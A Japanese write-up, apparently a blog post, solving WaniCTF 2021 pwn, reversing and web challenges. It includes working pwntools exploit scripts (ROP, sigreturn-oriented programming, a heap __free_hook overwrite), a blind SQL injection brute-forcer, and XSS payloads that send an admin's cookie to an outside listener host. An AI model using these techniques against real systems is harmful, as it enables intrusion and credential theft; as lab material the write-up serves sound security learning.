繋ぐだけでsystem("/bin/sh")が実行される。たしかに、何も出力されないからシェルが取れていると気が付かないことがあったな。

$ nc netcat.pwn.wanictf.org 9001
congratulation!
please enter "ls" command
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{this_is_the_same_netcat_problem_as_previous_one}

FLAG{this_is_the_same_netcat_problem_as_previous_one}

02 free hook (Easy)

他は問題番号順の正解者数なのに、これはちょっと少ない。

__free_hooksystemに書き換え済みなので、freesystemになっている。"/bin/sh"と書き込んだメモリを解放するだけで良い。

$ nc free.pwn.wanictf.org 9002
1: add memo
2: view memo
9: del memo
command?: 1
index?[0-9]: 0
memo?: /bin/sh



[[[list memos]]]
***** 0 *****
/bin/sh


1: add memo
2: view memo
9: del memo
command?: 9
index?[0-9]: 0
cat flag.txt
FLAG{malloc_hook_is_a_tech_for_heap_exploitation}

FLAG{malloc_hook_is_a_tech_for_heap_exploitation}

03 rop machine easy (Easy)

親切。pop rdi, "/bin/sh", systemとスタックに積めば良い。

$ nc rop-easy.pwn.wanictf.org 9003

"/bin/sh" address is 0x404070

[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "system" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
> 2
"pop rdi; ret" is appended
> 1
hex value?: 404070
0x0000000000404070 is appended
> 3
"system" is appended
> 0
     rop_arena
+--------------------+
| pop rdi; ret       |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| system             |
+--------------------+
cat flag.txt
FLAG{this-is-simple-return-oriented-programming}

FLAG{this-is-simple-return-oriented-programming}

04 rop machine normal (Easy)

system関数ではなく、execveシステムコール。

$ nc rop-normal.pwn.wanictf.org 9004

"/bin/sh" address is 0x404070

[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "pop rsi; ret" addr
4. append "pop rdx; ret" addr
5. append "pop rax; ret" addr
6. append "syscall; ret" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
> 5
"pop rax; ret" is appended
> 1
hex value?: 3b
0x000000000000003b is appended
> 2
"pop rdi; ret" is appended
> 1
hex value?: 404070
0x0000000000404070 is appended
> 3
"pop rsi; ret" is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 4
"pop rdx; ret" is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 6
"syscall; ret" is appended
> 0
     rop_arena
+--------------------+
| pop rax; ret       |<- rop start
+--------------------+
| 0x000000000000003b |
+--------------------+
| pop rdi; ret       |
+--------------------+
| 0x0000000000404070 |
+--------------------+
| pop rsi; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rdx; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| syscall; ret       |
+--------------------+
cat flag.txt
FLAG{now-you-can-call-any-system-calls-with-syscall}

FLAG{now-you-can-call-any-system-calls-with-syscall}

05 rop machine hard (Normal)

今度はアドレスを自分で探す必要がある。

pwn05.c
 :
void rop_pop_rdi() {
  __asm__(
      "pop %rdi\n\t"
      "ret\n\t");
}
 :
pwn05.txt
 :
0000000000401287 <rop_pop_rdi>:
  401287:	f3 0f 1e fa          	endbr64 
  40128b:	55                   	push   rbp
  40128c:	48 89 e5             	mov    rbp,rsp
  40128f:	5f                   	pop    rdi
  401290:	c3                   	ret    
  401291:	90                   	nop
  401292:	5d                   	pop    rbp
  401293:	c3                   	ret    
 :

で、rop_pop_rdiのアドレス(401287)を指定してしまって1ミス。コンパイラが生成する関数のプロローグがあるので、40128fを積む。

また、rsiは用意されている関数が無いので、

0x0000000000401611 : pop rsi ; pop r15 ; ret

を使った。逆アセンブルしたコードを探しても出てこないので注意。

 :
  401610:	41 5e                	pop    r14
  401612:	41 5f                	pop    r15
  401614:	c3                   	ret    
 :

pop r14からプレフィックスの41を除くとpop rsiになる。

$ nc rop-hard.pwn.wanictf.org 9005

[menu]
1. append hex value
8. show menu (this one)
9. show rop_arena
0. execute rop
> 1
hex value?: 40128f
0x000000000040128f is appended
> 1
hex value?: 404078
0x0000000000404078 is appended
> 1
hex value?: 40129c
0x000000000040129c is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 1
hex value?: 4012a9
0x00000000004012a9 is appended
> 1
hex value?: 3b
0x000000000000003b is appended
> 1
hex value?: 401611
0x0000000000401611 is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 1
hex value?: 4012b6
0x00000000004012b6 is appended
> 0
     rop_arena
+--------------------+
| 0x000000000040128f |<- rop start
+--------------------+
| 0x0000000000404078 |
+--------------------+
| 0x000000000040129c |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x00000000004012a9 |
+--------------------+
| 0x000000000000003b |
+--------------------+
| 0x0000000000401611 |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x00000000004012b6 |
+--------------------+
cat flag.txt
FLAG{y0ur-next-step-is-to-use-pwntools}

FLAG{y0ur-next-step-is-to-use-pwntools}

06 SuperROP (Hard)

Sigreturn-oriented programming。多くのレジスタの値をスタックから設定できる。"/bin/sh"はバッファに書き込んでおけば良い。

attack.py
from pwn import *

context.arch = "amd64"

s = remote("srop.pwn.wanictf.org", 9006)

s.recvuntil("buff : 0x")
buf = int(s.recvline()[:-1], 16)

frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = buf
frame.rsi = 0
frame.rdx = 0
frame.rip = 0x40117e

payload = (
  "/bin/sh".ljust(0x48, "\0").encode() +
  pack(0x40118c) +
  pack(0x40117e) +
  bytes(frame))

s.sendlineafter("Can you get the shell?\n", payload)
s.interactive()
$ python3 attack.py
[+] Opening connection to srop.pwn.wanictf.org on port 9006: Done
[*] Switching to interactive mode
$ ls -al
total 36
drwxr-xr-x 1 root pwn   4096 Apr 29 10:03 .
drwxr-xr-x 1 root root  4096 Apr 29 10:02 ..
-r-xr-x--- 1 root pwn  16928 Apr 29 10:01 chall
-r--r----- 1 root pwn     38 Apr 29 10:01 flag.txt
-r-xr-x--- 1 root pwn     35 Apr 29 10:01 redir.sh
$ cat flag.txt
FLAG{0v3rwr173_r361573r5_45_y0u_l1k3}
$

FLAG{0v3rwr173_r361573r5_45_y0u_l1k3}

07 Tower of Hanoi (Very hard)

ハノイの塔。円盤32枚のハノイの塔を30秒以内にクリアすればフラグゲット。なお、1回の移動に1秒掛かる。

// ???がヒント。

pwn07.c
 :
void move_hanoi(char from, char to, int *pivot, int (*rod)[HANOI_SIZE]) {
  int src = (int)from - 65;
  int dst = (int)to - 65;
  if (abs(src) > 2 || abs(dst) > 2) {  // ???
    printf("That rod isn't where you can access!\n");
    return;
  }
 :
int main() {
 :
  while (solved_flag != 1) {
    solved_flag = is_solved(rod);  // ???
 :

移動先と移動元には-1も指定できるので、これを利用してsolved_flagを1に書き換えれば良い。

移動の処理は、

pwn07.c
 :
  if (rod[src][pivot[src]] < rod[dst][pivot[dst]] ||
      rod[dst][pivot[dst]] == 0) {
    printf("Moved %d from %c to %c\n", rod[src][pivot[src]], from, to);
    if (rod[dst][pivot[dst]] != 0) pivot[dst]--;
    rod[dst][pivot[dst]] = rod[src][pivot[src]];
    rod[src][pivot[src]] = 0;
 :

スタックの様子を整理すると、

rbp-0x0220: rod[-1]
rbp-0x01a0: rod[0]
rbp-0x0120: rod[1]
rbp-0x00a0: rod[2]
rbp-0x0020: name (rbp-0x0014: rod_pivod[-1])
rbp-0x0010: rod_pivot[0]
rbp-0x000c: rod_pivot[1]
rbp-0x0008: rod_pivot[2]
rbp-0x0004: solved_flag

rod_pivod[-1]にあたるnameの末尾4バイトに0x87を書き込んでおき、dst=-1とすると、&rod[-1][0x87]=rbp-0x004rod[src][pivot[src]]が書き込まれる。

$ hexdump -C input.txt
00000000  00 00 00 00 00 00 00 00  00 00 00 00 87 00 00 00  |................|
00000010  41 40 0a                                          |A@.|
00000013
$ cat input.txt | nc hanoi.pwn.wanictf.org 9007

If you move all disks from A to C 'in time'
I'll give you the flag
input ex) if from rod_a to rod_c > AC
Name : Top and bottom of the each rod
  A     B     C
  1     0     0
 ...............
 32     0     0
Move > Moving...
Moved 1 from A to @
How fast you are!!
FLAG{5up3r_f457_h4n01_501v3r}

シェルを取らないpwn問題は面白い。
FLAG{5up3r_f457_h4n01_501v3r}

08 Gacha Breaker (Very hard)

ややこしいな……。

  • 指定した回数count回のガチャをまとめて引く
  • count個のint型の配列が確保され、ここに乱数が書き込まれる
  • ただし、まとめて引くのが3回目以降で、6回以上引くならば、末尾4個は以前の結果のコピー(具体例は後述)
  • これを繰り返す
  • ガチャを引いた回数200回ごとに好きな結果を書き換えられる
  • まとめて引くのが7回ごとにバッファがクリアされる
  • 7回前にクリアすることもできる
  • heapの問題ではどういう順番でメモリが解放されるかも重要。この問題では後に引いたほうから

以前の結果のコピーはこんな感じ。

----History----
[No.0] Gacha
[A] [B] [C] [D] [???] [???] [???] [???] [???] [???]
[No.1] Gacha
[E] [F] [G] [H] [???] [???] [???] [???] [???] [???]
[No.2] Gacha
 [I] [J] [K] [L] [???] [???] [D] [C] [B] [A]
[No.3] Gacha
 [???] [???] [???] [???] [???] [???] [H] [G] [F] [E]
[No.4] Gacha
 [???] [???] [???] [???] [???] [???] [L] [K] [J] [I]

追記。

作問者write-up。

やっていることの意図が分からず、ややこしいなと思っていたけど、実際のソシャゲのガチャそのままなのか。いや、細工しているところがそのままだったら困るけど。

  • 重複しているのは、コンプしようとしているユーザーに対する悪質な妨害
  • 200回ごとに1回書き換えられるのは、「天井」の概念

脆弱性は、結果をクリアしていても、コピー元になるし、結果を書き換えることもできること。書き換えるとき、まとめて引くのをn回行っていたら、指定できるのは0からn-1までだけれど、nが指定できるというバグもあった。使っていない。

ややこしいが、解放したメモリに対して読み込みも書き込みもできるので、素直に解ける。

  • 大きなサイズのメモリを確保する
  • このメモリを解放したときにtopと統合されないように、小さなサイズのメモリを確保する
  • 結果をクリアする
    • この時点で、大きなサイズのメモリはunsorted binに、小さなサイズのメモリはtcacheに入る
  • ガチャを引く (A)
    • 最初に引いてunsorted binに格納された結果がコピーされる
    • これはチャンクのfdで、libc中のunsorted binを指している
    • ここからlibcのベースアドレスが分かる
  • ガチャを引く (B)
  • 結果をクリアする
  • tcache → (A) → (B) となっているので、(A)を__free_hookに書き換える
  • ガチャを引く (C)
  • ガチャを引く (D)
  • (D) は__free_hookのアドレスになっているので、systemに書き換える
  • (C) を"/bin/sh"に書き換える
  • 結果をクリアする
  • system((D)) が実行される
    • 【systemのアドレス】: not foundとエラーが出るが問題は無い
  • system((C)) = system("/bin/sh") が実行される
attack.py
from pwn import *

s = remote("gacha.pwn.wanictf.org", 9008)

def gacha(n):
  s.sendlineafter(">", "1")
  s.sendlineafter("How many times? :", str(n))
  s.recvuntil("results : ")
  r = s.recvline()[:-1].decode()
  return [int("0"+x[3:-1], 16) for x in r.split()]

def clear():
  s.sendlineafter(">", "3")

def ceiling(n, k, v):
  s.sendlineafter(">", "4")
  s.sendlineafter("Which No. gacha do you want to change? >", str(n))
  s.sendlineafter(" >", str(k))
  s.sendlineafter("To which number do you want to change? (Dec) >", str(v))

gacha(1400) # 0
gacha(6)    # 1
clear()
r = gacha(6) # 2
unsorted = r[4]<<32|r[5]
print("unsorted:", hex(unsorted))

libc = unsorted-0x1ebbe0
free_hook = libc+0x1eeb28
system = libc+0x55410

gacha(6)	# 3
clear()
ceiling(2, 0, free_hook&0xffffffff)
ceiling(2, 1, free_hook>>32)
gacha(6)	# 4
gacha(6)	# 5
ceiling(5, 0, system&0xffffffff)
ceiling(5, 1, system>>32)
ceiling(4, 0, u32(b"/bin"))
ceiling(4, 1, u32(b"/sh\0"))
clear()

s.interactive()
$ python3 attack.py
[+] Opening connection to gacha.pwn.wanictf.org on port 9008: Done
unsorted: 0x7f7291518be0
[*] Switching to interactive mode
sh: 1: \x10r\x7f: not found
$ ls -al
total 36
drwxr-xr-x 1 root pwn   4096 Apr 29 10:03 .
drwxr-xr-x 1 root root  4096 Apr 29 10:03 ..
-r--r----- 1 root pwn     33 Apr 29 10:01 FLAG
-r-xr-x--- 1 root pwn  17640 Apr 29 10:01 chall
-r-xr-x--- 1 root pwn     35 Apr 29 10:01 redir.sh
$ cat FLAG
FLAG{G4ch4_15_3v1l_bu7_c4n7_5t0p}$

FLAG{G4ch4_15_3v1l_bu7_c4n7_5t0p}

Reversing

secret (Beginner)

ヒント :「表層解析」や「静的解析」を行うことで secret key が見つかるかも...?
表層解析ツール strings
静的解析ツール Ghidra

はい。

$ strings secret
/lib64/ld-linux-x86-64.so.2
libc.so.6
 :
Input secret key :
Incorrect
wani_is_the_coolest_animals_in_the_world!
Correct! Flag is %s
 :
$ ./secret

   ▄▀▀▀▀▄  ▄▀▀█▄▄▄▄  ▄▀▄▄▄▄   ▄▀▀▄▀▀▀▄  ▄▀▀█▄▄▄▄  ▄▀▀▀█▀▀▄
  █ █   ▐ ▐  ▄▀   ▐ █ █    ▌ █   █   █ ▐  ▄▀   ▐ █    █  ▐
     ▀▄     █▄▄▄▄▄  ▐ █      ▐  █▀▀█▀    █▄▄▄▄▄  ▐   █
  ▀▄   █    █    ▌    █       ▄▀    █    █    ▌     █
   █▀▀▀    ▄▀▄▄▄▄    ▄▀▄▄▄▄▀ █     █    ▄▀▄▄▄▄    ▄▀
   ▐       █    ▐   █     ▐  ▐     ▐    █    ▐   █
           ▐        ▐                   ▐        ▐

Input secret key : wani_is_the_coolest_animals_in_the_world!
Correct! Flag is FLAG{ana1yze_4nd_strin6s_and_execu7e_6in}

FLAG{ana1yze_4nd_strin6s_and_execu7e_6in}

execute (Easy)

コマンドを間違えて、ソースコードも消しちゃった!
今残っているファイルだけで実行して頂けますか?
(reverse engineeringすれば、実行しなくても中身は分かるみたいです。)

アセンブリコードは残されている。実行しなくても分かるらしいが、面倒だから実行するか。同梱されているlibprint.soを呼び出しているので対処が必要。

$ gcc main.s libprint.so
$ LD_LIBRARY_PATH=. ./a.out
Flag is "FLAG{c4n_y0u_execu4e_th1s_fi1e}"

FLAG{c4n_y0u_execu4e_th1s_fi1e}

timer (Hard)

フラグが出てくるまで待てますか?
super_complex_flag_print_function 関数でフラグを表示しているようですが、難読化されているため静的解析でフラグを特定するのは難しそうです...
GDBを使って動的解析してみるのはいかがでしょうか?

GDBが使いやすくなるので、PEDAおすすめ。

3日経たないとフラグが出てこない。このCTFの開催期間は2日間と10時間なので、ちょっと間に合わない。

  1. runで実行
  2. Ctrl+Cで止める
  3. finishを繰り返して問題のバイナリまで戻る
  4. set *(int *)($rbp-0x8)=100000000
  5. continue
gdb-peda$ set *(int *)($rbp-0x8)=100000000
gdb-peda$ continue
Continuing.
The time has come. Flag is "FLAG{S0rry_Hav3_you_b3en_wai7ing_lon6?_No_I_ju5t_g0t_her3}"
[Inferior 1 (process 433) exited normally]
Warning: not running

FLAG{S0rry_Hav3_you_b3en_wai7ing_lon6?_No_I_ju5t_g0t_her3}

licence (Very hard)

licen s eじゃないのか? :thinking: と思ったけど、イギリス英語だと名詞はlicenceなのか。

このプログラムは非常に強力なライセンス確認処理が実装されています。
ただ、今持っているライセンスファイルは間違っているようです。
正しいライセンスファイルを見つけて頂けますか?
$ ./licence key.dat
Failed to activate.
複雑な処理をシンボリック実行で解析してくれるツール「angr」を使えば簡単に解けるかも。

angrを使うだけかな。でも、標準入出力ではなくファイルの中身を探索させるにはどうすれば……?

から似たようなことをしている問題を探す。これだ。

探索が成功しないので、ちゃんと処理を見てみたところ、「今持っているライセンスファイル」は、

key.dat
FAKE{aaa_bbb_ccc}

なのに、「正しいライセンスファイル」は、

-----BEGIN LICENCE KEY-----
???????????????????????????????????????????????????????????????
-----END LICENCE KEY-----

という書式らしい。ライセンスファイルのサイズを大きくして再度実行。任意のバイト列を探索するようにしているから、-----BEGIN LICENCE KEY-----とかも探索してくれるだろう。参考にしたスクリプトはフラグの部分だけを取り出そうと頑張っているけれど、面倒だからスタックはまとめてダンプ。

solve.py
# https://github.com/angr/angr-doc/blob/master/examples/asisctffinals2015_license/solve.py

import angr
import claripy

file_name = "hoge"

project = angr.Project("licence", auto_load_libs=False)
state = project.factory.entry_state(args=["./licence", file_name])

key = [state.solver.BVS("byte_%d"%i, 8) for i in range(0x80)]
bytestring = claripy.Concat(*key)
file = angr.storage.file.SimFile(file_name, bytestring)
state.fs.insert(file_name, file)

simgr = project.factory.simulation_manager(state)
simgr.explore(find = (0x405e6d,))

found = simgr.found[0]
flag_int = found.solver.eval(found.memory.load(found.regs.rsp, 0x100))
flag = bytes.fromhex(hex(flag_int)[2:])
print(flag)
$ python3 solve.py
WARNING | 2021-05-02 19:09:07,792 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
WARNING | 2021-05-02 19:09:07,970 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.
WARNING | 2021-05-02 19:09:07,970 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING | 2021-05-02 19:09:07,970 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state
WARNING | 2021-05-02 19:09:07,970 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING | 2021-05-02 19:09:07,970 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages.
WARNING | 2021-05-02 19:09:07,970 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7ffffffffff0000 with 90 unconstrained bytes referenced from 0x500030 (fopen+0x0 in extern-address space (0x30))
WARNING | 2021-05-02 19:09:08,443 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff0d with 27 unconstrained bytes referenced from 0x500028 (strcmp+0x0 in extern-address space (0x28))
WARNING | 2021-05-02 19:09:08,443 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff30 with 8 unconstrained bytes referenced from 0x500028 (strcmp+0x0 in extern-address space (0x28))
WARNING | 2021-05-02 19:10:04,425 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffefeeb with 5 unconstrained bytes referenced from 0x500028 (strcmp+0x0 in extern-address space (0x28))
WARNING | 2021-05-02 19:10:04,590 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffefeb8 with 4 unconstrained bytes referenced from 0x405e6d (main+0x1bd in licence (0x5e6d))
WARNING | 2021-05-02 19:10:04,591 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffefec0 with 8 unconstrained bytes referenced from 0x405e6d (main+0x1bd in licence (0x5e6d))
WARNING | 2021-05-02 19:10:04,592 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff70 with 8 unconstrained bytes referenced from 0x405e6d (main+0x1bd in licence (0x5e6d))
b'\x90\xff\xfe\xff\xff\xff\xff\x07\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x0f\x00\xc0\x00\x00\x00\x00-----END LICENCE KEY-----\n\x00\x00\x00\x00\x00\x00-----BEGIN LICENCE KEY-----\n\x00\x00\x00\x00FLAG{4n6r_15_4_5up3r_p0w3rfu1_5ymb0l1c_3x3cu710n_4n4ly515_700l}\n\x00\x00\x00\x00\x00\x00\x00\x00\x00YRANAC_\x00\x00\x00\x00\x00\x00\x00\x00P\x10`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.\x11@\x00\x00\x00\x00\x00\x88\xff\xfe\xff\xff\xff\xff\x07\x1c\x00\x00\x00\x00\x00\x00\x00\xd0\xff\xfe\xff\xff\xff\xff\x07\xda\xff\xfe\xff\xff\xff\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

追記。

作問者write-up。すごくシンプルに書ける。すごい。

FLAG{4n6r_15_4_5up3r_p0w3rfu1_5ymb0l1c_3x3cu710n_4n4ly515_700l}

Web

fake (Beginner)

綺麗。

image.png

正解のボタンも見た目は一緒だろうが、ソースコードを見れば分かる。

index.html
 :
    <button type="button" class="btn btn-warning">Link</button>
    <button type="button" class="btn btn-info">Link</button>
    <button type="button" class="btn btn-light">Link</button>
    <button type="button" class="btn btn-dark">Link</button>
    <a href="144c9defac04969c7bfad8efaa8ea194.html" style="display: none;">
      <button type="button" class="btn btn-primary">Link</button>
    </a>
    <button type="button" class="btn btn-primary">Link</button>
    <button type="button" class="btn btn-secondary">Link</button>
    <button type="button" class="btn btn-success">Link</button>
    <button type="button" class="btn btn-danger">Link</button>
 :

FLAG{wow_y0u_h4ve_3po4ted_th3_7ake}

Wani Request 1 (Easy)

送信するとあどみんちゃんの秘密のページにあなたの送信したURLのリンクが表示されます。
あどみんちゃんは表示されたリンクをクリックしてあなたのサーバにアクセスしてくれます。
あどみんちゃんからのアクセスを分析して秘密のページを探してみてください。

私のおすすめは、手元のPCのポートを開けておいて、ヘッダを見たい&レスポンスを返す必要が無いならnc -l -p 8888、ヘッダは不要&レスポンスを返す必要があるならpy -m http.server 8888。ただし、Pythonのほうはカレントディレクトリがそのまま公開される。便利だけど、実行する場所に注意。CTFを解いているときにこれをやってうっかり公開したままにした人がいたとかいないとか。

>ncat -l -p 8888
GET / HTTP/1.1
Host: ***.***.***.***:8888
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/81.0.4044.113 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://w4ni-secre7-h1mitu-pa6e.s3-website-ap-northeast-1.amazonaws.com/?url=http://***.***.***.***:8888/
Accept-Encoding: gzip, deflate
Accept-Language: en-US

http://w4ni-secre7-h1mitu-pa6e.s3-website-ap-northeast-1.amazonaws.com/

このページ、XSSがあるなw

HINT2 : xss問題ではありません。

FLAG{h77p_r3f3r3r_15_54f3_42a2cc2f275}

exception (Easy)

API Gateway, Lambda, S3, CloudFront, CloudFormationを使ってアプリを作ってみました。

hello.py
import json
import os
import traceback

# HelloFunction(/hello)のコード
def lambda_handler(event, context):
    try:
        try:
            data = json.loads(event["body"])
        except Exception:
            data = {}
        if "name" in data:
            return {
                "statusCode": 200,
                "body": json.dumps({"name": "こんにちは、" + data["name"] + "さん"}),
            }
        return {
            "statusCode": 400,
            "body": json.dumps(
                {
                    "error_message": "Bad Request",
                }
            ),
        }
    except Exception as e:
        error_message = traceback.format_exception_only(type(e), e)
        del event["requestContext"]["accountId"]
        del event["requestContext"]["resourceId"]
        return {
            "statusCode": 500,
            "body": json.dumps(
                {
                    "error_message": error_message,
                    "event": event,
                    "flag": os.environ.get("FLAG"),
                }
            ),
        }

例外を起こせば良さそう。文字列だと思っているところに整数を突っ込めば良い。

$ curl -sS https://exception.web.wanictf.org/hello -d '{"name": 0}' | jq
{
  "error_message": [
    "TypeError: can only concatenate str (not \"int\") to str\n"
  ],
  "event": {
    "resource": "/hello",
    "path": "/hello",
    "httpMethod": "POST",
    "headers": {
      "content-type": "application/x-www-form-urlencoded",
      "Host": "boakqtdih8.execute-api.us-east-1.amazonaws.com",
      "User-Agent": "Amazon CloudFront",
 :
  "flag": "FLAG{b4d_excep7ion_handl1ng}"
}

FLAG{b4d_excep7ion_handl1ng}

watch animal (Very hard)

スーパーかわいい動物が見れるWebサービスを作ったよ。
wanictf21spring@gmail.com
のメアドの人のパスワードがフラグです。

Blind SQL Injection。

attack.py
import requests

def check(email, password):
  r = requests.post("https://watch.web.wanictf.org/", data={"email": email, "password": password})
  return "Animal Collection" in r.text

flag = ""
for i in range(1, 32):
  for c in range(0x20, 0x7f):
    c = chr(c)
    if check("aaa", "' OR substring(password, %s, 1)='%s"%(i, c)):
      flag += c
      break
  print(flag)
$ python attack.py
F
FL
FLA
FLAG
FLAG{
FLAG{b
FLAG{bl
FLAG{bl1
FLAG{bl1n
FLAG{bl1nd
FLAG{bl1ndS
FLAG{bl1ndSQ
FLAG{bl1ndSQL
FLAG{bl1ndSQLi
FLAG{bl1ndSQLi}
FLAG{bl1ndSQLi}
 :

FLAG{bl1ndSQLi}

Wani Request 2 (Normal)

チャレンジは二つです。
あどみんちゃんのクッキーを手に入れてください。

1個目はそのまま書き出されるので、

<img src="a" onerror="location.href='http://myserver.example.com:8888/'%2Bdocument.cookie">

+はURLだと空白になってしまうから、%2B

2個目は指定したリンクをクリックしてくれるらしいので、

javascript:location.href='http://a.xn--eck5f.net:8888/'+document.cookie
>py -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
***.***.***.*** - - [02/May/2021 19:28:49] code 404, message File not found
***.***.***.*** - - [02/May/2021 19:28:49] "GET /flag1=FLAG%7By0u_4r3_x55 HTTP/1.1" 404 -
***.***.***.*** - - [02/May/2021 19:29:10] code 404, message File not found
***.***.***.*** - - [02/May/2021 19:29:10] "GET /flag2=-60d_c75a4c80cf07%7D HTTP/1.1" 404 -

FLAG{y0u_4r3_x55-60d_c75a4c80cf07}

CloudFront Basic Auth (Hard)

API Gateway, Lambda, S3, CloudFront, CloudFormationを使ってアプリを作ってみました。
重要なエンドポイントにはBasic認証をつけてみました。
https://cf-basic.web.wanictf.org/
ヒント: 上のURLにアクセスするとexceptionと同じ見た目のWebアプリが表示されますが、添付されているzipファイルにはexceptionの添付ファイルから新しいファイルが追加されています。添付ファイルを参考にもう一つのFLAGを発見してください!

template.yamlが追加されている。クラウド分からん……けど、/adminにアクセスするとフラグが表示される。ただし、CloudFrontでBASIC認証を掛けている、ということかな。CloudFrontを通さずにアクセスしたい。そういえば、exceptionの出力の中にオリジンのホスト名があったな。

https://boakqtdih8.execute-api.us-east-1.amazonaws.com/Prod/admin

FLAG{ap1_g4teway_acc3ss_con7rol}

2
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?